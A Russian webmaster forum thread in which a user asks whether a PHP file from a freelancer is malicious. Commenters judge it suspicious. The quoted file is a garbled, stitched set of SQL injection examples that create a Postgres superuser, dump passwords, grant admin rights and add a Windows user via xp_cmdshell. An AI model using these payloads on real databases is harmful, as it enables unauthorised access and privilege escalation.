Фрилансер вместе с работой скинул файл в котором вот такой подозрительный код, что это?
Страницы: 1
Фрилансер вместе с работой скинул файл в котором вот такой подозрительный код, что это?
Что значит этот короткий код в файле, я так понимаю это взлом сервера?

<?php
$servername = $host;
$database = $db; 
$username = $name;
$password = $pass;

$sql = "mysql:host=$servername;dbname=$database;";
$dsn_Options = [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION];


try { 
  $my_Db_Connection = new PDO($sql, $username, $password, $dsn_Options);
  echo "Connected successfully";
} catch (PDOException $error) {
  echo 'Connection error: ' . $error->getMessage();
}


$my_Insert_Statement = $my_Db_Connection->prepare("INSERT INTO catalog (name, lastname, email) VALUES (:first_name, :last_name, :email)");

$my_Insert_Statement->bindParam(:first_name, $first_Name);
$my_Insert_Statement->bindParam(:last_name, $last_Name);
$my_Insert_Statement->bindParam(:email, $email);

if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}
$my_Insert_Statement->execute();


if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}

$offset = $argv[0]; 
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';$query  = "SELECT id, name, inserted, size FROM products
           WHERE size = '$size'";
$result = odbc_exec($conn, $query);


union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;


// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

$query  = "SELECT * FROM products
           WHERE id LIKE '%a%'
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);


//Establishes the connection
$conn = sqlsrv_connect($serverName, $connectionOptions);
$tsql= "SELECT TOP 20 pc.Name as CategoryName, p.name as ProductName
        FROM [SalesLT].[ProductCategory] pc
        JOIN [SalesLT].[Product] p
     ON pc.productcategoryid = p.productcategoryid";
$getResults= sqlsrv_query($conn, $tsql);
echo ("Reading data from table" . PHP_EOL);
if ($getResults == FALSE)
    echo (sqlsrv_errors());
while ($row = sqlsrv_fetch_array($getResults, SQLSRV_FETCH_ASSOC)) {
 echo ($row['CategoryName'] . " " . $row['ProductName'] . PHP_EOL);
}
sqlsrv_free_stmt($getResults);

?>

Комплексное SEO продвижение в поисковых системах Яндекс, Google

Ну на вскидку код в БД сбрасывает каких-то юзверей (по паролям) и устанавливает кому-то из них пароль 'crack' или 'hehehe', а также права админа. Но это очень приблизительно.
За окнами солнце, за окнами свет - это день.
Ну а я всегда любил ночь.
И это мое дело - любить ночь,
И это мое право - уйти в тень.
Можно много чего предполагать, уточнили бы. Похоже увязаны как то товары и пользователи, может сброс пароля для редактирования товаров пользователя.. На этапе разработки какие то вещи тестируются отдельно, иногда в отдельных файлах.. зачем оно скажет тот кто делал
VPS/VDS с тестовым периодом
_________________________________________________
Вот несколько статей, они и натолкнули меня на мысль что этот код подозрителен https://studwood.ru/1047029/informatika/vnedrenie        https://konyakov.ru/pubs/php/php7/security.database.sql-injection.html
Очень подозрительный код, похоже на шелл.

★★★★★

inwoxer.ru - копии сайтов 300 руб, создание сайтов 900 руб, https сертификаты, раскрутка инстаграм 200 руб и другие услуги по СОЧНЫМ ценам. 
NEW! СЕО аудит 400 руб и прогон Твиттер 300 руб

★★★★★
А я искала помощь в раскрутке - (затёр)
Изменено: Prapovednik - 15 Августа 2018 10:14 (затёр)
Вот еще одну статью нашел с этим кодом http://php.net/manual/ru/security.database.sql-injection.php

Вообщем на мой вопрос для чего нужен этот файл, фрилансер сказал что  "файл этот вносит правки в базу данных, добавляя, обновляя, очищая ее"


Не знаю для чего это все ему нужно.

Вы будете сильно удивлены но это один из Пользователей данного форума, он здесь предоставляет свои услуги.... И возможно он даже прочитал эту тему)
Цитата
Иван Петров пишет:
фрилансер сказал что "файл этот вносит правки в базу данных, добавляя, обновляя, очищая ее"
врёт
Цитата
Иван Петров пишет:
Вы будете сильно удивлены но это один из Пользователей данного форума
Ну а чего удивляться-то, это обычный форум, и детектор лжи при регистрации тут никому проходить не надо.
У него здесь длинная тема с года 2013 и много отзывов, неприятная ситуация
Безопасный код со словами crack и вот этим вот UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE ??? Да ну нафиг.
Цитата
Иван Петров пишет:
У него здесь длинная тема с года 2013 и много отзывов, неприятная ситуация


Может тогда опубликуете ссылку на тему исполнителя?smile:)
Самый интересный участок:

Код
$query  = "SELECT * FROM products 
           WHERE id LIKE '%a%' 
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'"; 
$result = mssql_query($query); 


Создает в системе юзера "test", пароль "testpass", ну а дальше дело повышения привилегий, что как правило, опытному специалисту не составляет труда.
людмила василюк, бан. затёр
Страницы: 1
Читают тему (гостей: 2, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
09:57 Экспертность автора для алгоритмов гугла 
09:54 Выдача в гугле 
09:52 Гугл порезал трафик или где мой трафик, чувак? 
09:16 ГУГЛ ИСКЛЮЧАЕТ СТРАНИЦЫ Обнаружена, не проиндексирована 460 СТР 
23:33 Помогите найти плагин RSS - экспорта Wordpress 
22:38 помогите найти шаблон 
19:28 Яндекс выдача - 18.08.18 
10:38 Продам сайт медицина и здоровье.ТиЦ 10 1.3 года 
09:49 Семантическое ядро по новой технологии + LSI с ручной группировкой 
09:48 ТОП-1! Крысиный прокси-сервис 
09:46 Мы лучшие на рынке! VPN-сервис от Insorg. Анонимно и безопасно. Работаем с 2009 года. 
02:21 Комплексная раскрутка сайтов. Качественные услуги, прогоны и прочее. (3000+ отзывов) 
23:22 добротный перевод, рерайт, копирайт по адекватной цене 
19:23 Срочно продам сайт + домен Авиабилеты 
09:26 Правильная покупка ссылок 
01:08 Продам паблик вк, инста 
00:01 Прямоугольник на сайте 
19:56 Зима и шашлыки 
17:43 Работа для вебмастеров. 625 долл/сутки? - легко! 
12:01 Кэшбери - это 
16:42 Фейковый сайт для подключения Сбербанк-online, Яндекс кассы и др. Нужна помощь.